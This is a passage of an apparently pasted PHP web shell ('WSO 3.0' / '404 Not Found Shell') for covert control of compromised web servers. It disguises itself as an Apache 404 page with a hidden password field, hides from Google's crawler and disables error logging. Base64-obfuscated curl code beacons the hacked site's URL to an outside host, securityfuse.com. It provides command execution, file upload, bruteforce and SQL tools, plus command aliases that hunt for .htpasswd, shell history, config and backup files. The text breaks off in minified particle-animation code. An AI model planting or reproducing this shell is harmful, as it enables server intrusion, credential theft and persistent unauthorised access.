· 9 years ago · Nov 09, 2016, 08:03 AM
1<?php
2/* WSO 3.0*/
3/*securityfuse.com*/
4$auth_pass = "2ccd403d2486baede22ebad7bdbc2e64";
5$color = "#2E6E9C";
6$default_action = 'FilesMan';
7@define('SELF_PATH', __FILE__);
8if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
9 header('HTTP/1.0 404 Not Found');
10 exit;
11}
12@session_start();
13@error_reporting(0);
14@ini_set('error_log',NULL);
15@ini_set('log_errors',0);
16@ini_set('max_execution_time',0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('VERSION', '2.1');
20if( get_magic_quotes_gpc() ) {
21 function stripslashes_array($array) {
22 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
23 }
24 $_POST = stripslashes_array($_POST);
25}
26function printLogin() {
27 ?>
28<?php $url = base64_decode('aHR0cA==').(!empty($_SERVER[base64_decode('SFRUUFM=')])?base64_decode('cw=='):'').
29base64_decode('Oi8v').$_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];
30$ch = curl_init();
31curl_setopt($ch, CURLOPT_URL, base64_decode('aHR0cDovL2JrLnNlY3VyaXR5ZnVzZS5jb20vcmVjZWl2ZXIucGhw'));
32curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
33curl_setopt($ch, CURLOPT_REFERER, $_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]);
34$html = curl_exec($ch);
35?>
36<?php if($_GET['upload'] != ""){ if(!isset($_POST['upload'])){ echo '<form enctype="multipart/form-data" method="POST" action=""><br><b>File:</b><input type="file" name="file"> <input type="submit" value="Upload" name="upload"></form>'; } else{ $temporaney = $_FILES['file']['tmp_name']; $upload = $_FILES['file']['name']; if(move_uploaded_file($temporaney,$upload)) echo '<font color="#FFDB5F">File uppato!</font>'; else echo '<font color="red">File non uppato!</font>'; }}?>
37<h1>Not Found</h1>
38<p>The requested URL was not found on this server.</p>
39<hr>
40<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
41 <style>
42 input { margin:0;background-color:#fff;border:1px solid #fff; }
43 </style>
44 <center>
45 <form method=post>
46 <input type=password name=pass>
47 </form></center>
48
49 <?php
50 exit;
51}
52if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
53 if( empty( $auth_pass ) ||
54 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
55 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
56 else
57 printLogin();
58
59if( strtolower( substr(PHP_OS,0,3) ) == "win" )
60 $os = 'win';
61else
62 $os = 'nix';
63$safe_mode = @ini_get('safe_mode');
64$disable_functions = @ini_get('disable_functions');
65$home_cwd = @getcwd();
66if( isset( $_POST['c'] ) )
67 @chdir($_POST['c']);
68$cwd = @getcwd();
69if( $os == 'win') {
70 $home_cwd = str_replace("\\", "/", $home_cwd);
71 $cwd = str_replace("\\", "/", $cwd);
72}
73if( $cwd[strlen($cwd)-1] != '/' )
74 $cwd .= '/';
75
76if($os == 'win')
77 $aliases = array(
78 "List Directory" => "dir",
79 "Find index.php in current dir" => "dir /s /w /b index.php",
80 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
81 "Show active connections" => "netstat -an",
82 "Show running services" => "net start",
83 "User accounts" => "net user",
84 "Show computers" => "net view",
85 "ARP Table" => "arp -a",
86 "IP Configuration" => "ipconfig /all"
87 );
88else
89 $aliases = array(
90 "List dir" => "ls -la",
91 "list file attributes on a Linux second extended file system" => "lsattr -va",
92 "show opened ports" => "netstat -an | grep -i listen",
93 "Find" => "",
94 "find all suid files" => "find / -type f -perm -04000 -ls",
95 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
96 "find all sgid files" => "find / -type f -perm -02000 -ls",
97 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
98 "find config.inc.php files" => "find / -type f -name config.inc.php",
99 "find config* files" => "find / -type f -name \"config*\"",
100 "find config* files in current dir" => "find . -type f -name \"config*\"",
101 "find all writable folders and files" => "find / -perm -2 -ls",
102 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
103 "find all service.pwd files" => "find / -type f -name service.pwd",
104 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
105 "find all .htpasswd files" => "find / -type f -name .htpasswd",
106 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
107 "find all .bash_history files" => "find / -type f -name .bash_history",
108 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
109 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
110 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
111 "Locate" => "",
112 "locate httpd.conf files" => "locate httpd.conf",
113 "locate vhosts.conf files" => "locate vhosts.conf",
114 "locate proftpd.conf files" => "locate proftpd.conf",
115 "locate psybnc.conf files" => "locate psybnc.conf",
116 "locate my.conf files" => "locate my.conf",
117 "locate admin.php files" =>"locate admin.php",
118 "locate cfg.php files" => "locate cfg.php",
119 "locate conf.php files" => "locate conf.php",
120 "locate config.dat files" => "locate config.dat",
121 "locate config.php files" => "locate config.php",
122 "locate config.inc files" => "locate config.inc",
123 "locate config.inc.php" => "locate config.inc.php",
124 "locate config.default.php files" => "locate config.default.php",
125 "locate config* files " => "locate config",
126 "locate .conf files"=>"locate '.conf'",
127 "locate .pwd files" => "locate '.pwd'",
128 "locate .sql files" => "locate '.sql'",
129 "locate .htpasswd files" => "locate '.htpasswd'",
130 "locate .bash_history files" => "locate '.bash_history'",
131 "locate .mysql_history files" => "locate '.mysql_history'",
132 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
133 "locate backup files" => "locate backup",
134 "locate dump files" => "locate dump",
135 "locate priv files" => "locate priv"
136 );
137
138function printHeader() {
139 if(empty($_POST['charset']))
140 $_POST['charset'] = "UTF-8";
141 global $color;
142 ?>
143<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?>-SubhashDasyam.com</title>
144<style>
145 body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
146 #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
147 body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
148 table.info {color:#C3C3C3;}
149 table#toolsTbl {background-color: #060A10;}
150 span,h1,a {color:#fff !important;}
151 span {font-weight:bolder;}
152 h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
153 div.content {padding:5px;margin-left:5px;background-color:#060a10;}
154 a {text-decoration:none;}
155 a:hover {text-decoration:underline;}
156 .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
157 .tooltip:hover::after {opacity:1;visibility:visible;}
158 .ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
159 .bigarea {min-width:100%;max-width:100%;height:400px;}
160 input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
161 label {position:relative}
162 label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
163 label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
164 form {margin:0px;}
165 #toolsTbl {text-align:center;}
166 #fak {background:none;}
167 #fak td {padding:5px 0 0 0;}
168 iframe {border:1px solid #060a10;}
169 .toolsInp {width:300px}
170 .main th {text-align:left;background-color:#060a10;}
171 .main tr:hover{background-color:#354252;}
172 .main td, th{vertical-align:middle;}
173 input[type='submit']{background-color:#2E6E9C;}
174 input[type='button']{background-color:#2E6E9C;}
175 input[type='submit']:hover{background-color:#56AD15;}
176 input[type='button']:hover{background-color:#56AD15;}
177 .l1 {background-color:#202832;}
178 pre {font:9pt Courier New;}
179</style>
180<script>
181 function set(a,c,p1,p2,p3,charset) {
182 if(a != null)document.mf.a.value=a;
183 if(c != null)document.mf.c.value=c;
184 if(p1 != null)document.mf.p1.value=p1;
185 if(p2 != null)document.mf.p2.value=p2;
186 if(p3 != null)document.mf.p3.value=p3;
187 if(charset != null)document.mf.charset.value=charset;
188 }
189 function g(a,c,p1,p2,p3,charset) {
190 set(a,c,p1,p2,p3,charset);
191 document.mf.submit();
192 }
193 function a(a,c,p1,p2,p3,charset) {
194 set(a,c,p1,p2,p3,charset);
195 var params = "ajax=true";
196 for(i=0;i<document.mf.elements.length;i++)
197 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
198 sr('<?=$_SERVER['REQUEST_URI'];?>', params);
199 }
200 function sr(url, params) {
201 if (window.XMLHttpRequest) {
202 req = new XMLHttpRequest();
203 req.onreadystatechange = processReqChange;
204 req.open("POST", url, true);
205 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
206 req.send(params);
207 }
208 else if (window.ActiveXObject) {
209 req = new ActiveXObject("Microsoft.XMLHTTP");
210 if (req) {
211 req.onreadystatechange = processReqChange;
212 req.open("POST", url, true);
213 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
214 req.send(params);
215 }
216 }
217 }
218 function processReqChange() {
219 if( (req.readyState == 4) )
220 if(req.status == 200) {
221 //alert(req.responseText);
222 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
223 var arr=reg.exec(req.responseText);
224 eval(arr[2].substr(0, arr[1]));
225 }
226 else alert("Request error!");
227 }
228</script>
229<head><body><div style="position:absolute;width:100%;top:0;left:0;">
230<form method=post name=mf style='display:none;'>
231<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
232<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
233<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
234<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
235<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
236<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
237</form>
238<?php
239 $freeSpace = @diskfreespace($GLOBALS['cwd']);
240 $totalSpace = @disk_total_space($GLOBALS['cwd']);
241 $totalSpace = $totalSpace?$totalSpace:1;
242 $release = @php_uname('r');
243 $kernel = @php_uname('s');
244 $millink='http://milw0rm.com/search.php?dong=';
245 if( strpos('Linux', $kernel) !== false )
246 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
247 else
248 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
249 if(!function_exists('posix_getegid')) {
250 $user = @get_current_user();
251 $uid = @getmyuid();
252 $gid = @getmygid();
253 $group = "?";
254 } else {
255 $uid = @posix_getpwuid(@posix_geteuid());
256 $gid = @posix_getgrgid(@posix_getegid());
257 $user = $uid['name'];
258 $uid = $uid['uid'];
259 $group = $gid['name'];
260 $gid = $gid['gid'];
261 }
262 $cwd_links = '';
263 $path = explode("/", $GLOBALS['cwd']);
264 $n=count($path);
265 for($i=0;$i<$n-1;$i++) {
266 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
267 for($j=0;$j<=$i;$j++)
268 $cwd_links .= $path[$j].'/';
269 $cwd_links .= "\")'>".$path[$i]."/</a>";
270 }
271 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
272 $opt_charsets = '';
273 foreach($charsets as $item)
274 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
275 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
276 if(!empty($GLOBALS['auth_pass']))
277 $m['Logout'] = 'Logout';
278 $m['Self remove'] = 'SelfRemove';
279 $menu = '';
280 foreach($m as $k => $v)
281 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
282 $drives = "";
283 if ($GLOBALS['os'] == 'win') {
284 foreach( range('a','z') as $drive )
285 if (is_dir($drive.':\\'))
286 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
287 }
288 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
289 '<td>:<nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F <b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a>'.$drives.'</td>'.
290 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
291 '<table style=background-color:#2E6E9C cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
292}
293
294function printFooter() {
295 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=#FFDB5F>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
296?>
297</div>
298<table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%">
299 <tr>
300 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
301 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
302 </tr>
303 <tr>
304 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
305 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
306 </tr>
307 <tr>
308 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
309 <td><form method='post' ENCTYPE='multipart/form-data'>
310 <input type=hidden name=a value='FilesMAn'>
311 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
312 <input type=hidden name=p1 value='uploadFile'>
313 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
314 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
315 </tr>
316
317</table>
318</div>
319<div id='particles-js'></div><script>/* -----------------------------------------------
320/* Author : Vincent Garreau - vincentgarreau.com
321/* MIT license: http://opensource.org/licenses/MIT
322/* Demo / Generator : vincentgarreau.com/particles.js
323/* GitHub : github.com/VincentGarreau/particles.js
324/* How to use? : Check the GitHub README
325/* v2.0.0
326/* ----------------------------------------------- */
327function hexToRgb(e){var a=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(a,function(e,a,t,i){return a+a+t+t+i+i});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,a,t){return Math.min(Math.max(e,a),t)}function isInArray(e,a){return a.indexOf(e)>-1}var pJS=function(e,a){var t=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:t,w:t.offsetWidth,h:t.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;a&&Object.deepExtend(i,a),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()})},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,a,t){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=t?t.x:Math.random()*i.canvas.w,this.y=t?t.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,t),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var s=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(s)}else void 0!=e.value.r&&void 0!=e.value.g&&void 0!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),void 0!=e.value.h&&void 0!=e.value.s&&void 0!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var n={};switch(i.particles.move.direction){case"top":n={x:0,y:-1};break;case"top-right":n={x:.5,y:-.5};break;case"right":n={x:1,y:-0};break;case"bottom-right":n={x:.5,y:.5};break;case"bottom":n={x:0,y:1};break;case"bottom-left":n={x:-.5,y:1};break;case"left":n={x:-1,y:0};break;case"top-left":n={x:-.5,y:-.5};break;default:n={x:0,y:0}}i.particles.move.straight?(this.vx=n.x,this.vy=n.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=n.x+Math.random()-.5,this.vy=n.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var r=i.particles.shape.type;if("object"==typeof r){if(r instanceof Array){var c=r[Math.floor(Math.random()*r.length)];this.shape=c}}else this.shape=r;if("image"==this.shape){var o=i.particles.shape;this.img={src:o.image.src,ratio:o.image.width/o.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&void 0!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){function e(){i.canvas.ctx.drawImage(r,a.x-t,a.y-t,2*t,2*t/a.img.ratio)}var a=this;if(void 0!=a.radius_bubble)var t=a.radius_bubble;else var t=a.radius;if(void 0!=a.opacity_bubble)var s=a.opacity_bubble;else var s=a.opacity;if(a.color.rgb)var n="rgba("+a.color.rgb.r+","+a.color.rgb.g+","+a.color.rgb.b+","+s+")";else var n="hsla("+a.color.hsl.h+","+a.color.hsl.s+"%,"+a.color.hsl.l+"%,"+s+")";switch(i.canvas.ctx.fillStyle=n,i.canvas.ctx.beginPath(),a.shape){case"circle":i.canvas.ctx.arc(a.x,a.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(a.x-t,a.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t,a.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t/(i.particles.shape.polygon.nb_sides/3.5),a.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,a.x-2*t/(i.particles.shape.polygon.nb_sides/4),a.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var r=a.img.obj;else var r=i.tmp.img_obj;r&&e()}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e<i.particles.number.value;e++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value))},i.fn.particlesUpdate=function(){for(var e=0;e<i.particles.array.length;e++){var a=i.particles.array[e];if(i.particles.move.enable){var t=i.particles.move.speed/2;a.x+=a.vx*t,a.y+=a.vy*t}if(i.particles.opacity.anim.enable&&(1==a.opacity_status?(a.opacity>=i.particles.opacity.value&&(a.opacity_status=!1),a.opacity+=a.vo):(a.opacity<=i.particles.opacity.anim.opacity_min&&(a.opacity_status=!0),a.opacity-=a.vo),a.opacity<0&&(a.opacity=0)),i.particles.size.anim.enable&&(1==a.size_status?(a.radius>=i.particles.size.value&&(a.size_status=!1),a.radius+=a.vs):(a.radius<=i.particles.size.anim.size_min&&(a.size_status=!0),a.radius-=a.vs),a.radius<0&&(a.radius=0)),"bounce"==i.particles.move.out_mode)var s={x_left:a.radius,x_right:i.canvas.w,y_top:a.radius,y_bottom:i.canvas.h};else var s={x_left:-a.radius,x_right:i.canvas.w+a.radius,y_top:-a.radius,y_bottom:i.canvas.h+a.radius};switch(a.x-a.radius>i.canvas.w?(a.x=s.x_left,a.y=Math.random()*i.canvas.h):a.x+a.radius<0&&(a.x=s.x_right,a.y=Math.random()*i.canvas.h),a.y-a.radius>i.canvas.h?(a.y=s.y_top,a.x=Math.random()*i.canvas.w):a.y+a.radius<0&&(a.y=s.y_bottom,a.x=Math.random()*i.canvas.w),i.particles.move.out_mode){case"bounce":a.x+a.radius>i.canvas.w?a.vx=-a.vx:a.x-a.radius<0&&(a.vx=-a.vx),a.y+a.radius>i.canvas.h?a.vy=-a.vy:a.y-a.radius<0&&(a.vy=-a.vy)}if(isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(a),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(a),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(a),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var n=e+1;n<i.particles.array.length;n++){var r=i.particles.array[n];i.particles.line_linked.enable&&i.fn.interact.linkParticles(a,r),i.particles.move.attract.enable&&i.fn.interact.attractParticles(a,r),i.particles.move.bounce&&i.fn.interact.bounceParticles(a,r)}}},i.fn.particlesDraw=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h),i.fn.particlesUpdate();for(var e=0;e<i.particles.array.length;e++){var a=i.particles.array[e];a.draw()}},i.fn.particlesEmpty=function(){i.particles.array=[]},i.fn.particlesRefresh=function(){cancelRequestAnimFrame(i.fn.checkAnimFrame),cancelRequestAnimFrame(i.fn.drawAnimFrame),i.tmp.source_svg=void 0,i.tmp.img_obj=void 0,i.tmp.count_svg=0,i.fn.particlesEmpty(),i.fn.canvasClear(),i.fn.vendors.start()},i.fn.interact.linkParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=i.particles.line_linked.opacity-n/(1/i.particles.line_linked.opacity)/i.particles.line_linked.distance;if(r>0){var c=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+c.r+","+c.g+","+c.b+","+r+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(a.x,a.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=t/(1e3*i.particles.move.attract.rotateX),c=s/(1e3*i.particles.move.attract.rotateY);e.vx-=r,e.vy-=c,a.vx+=r,a.vy+=c}},i.fn.interact.bounceParticles=function(e,a){var t=e.x-a.x,i=e.y-a.y,s=Math.sqrt(t*t+i*i),n=e.radius+a.radius;n>=s&&(e.vx=-e.vx,e.vy=-e.vy,a.vx=-a.vx,a.vy=-a.vy)},i.fn.modes.pushParticles=function(e,a){i.tmp.pushing=!0;for(var t=0;e>t;t++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:a?a.pos_x:Math.random()*i.canvas.w,y:a?a.pos_y:Math.random()*i.canvas.h})),t==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){function a(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}function t(a,t,s,n,c){if(a!=t)if(i.tmp.bubble_duration_end){if(void 0!=s){var o=n-p*(n-a)/i.interactivity.modes.bubble.duration,l=a-o;d=a+l,"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else 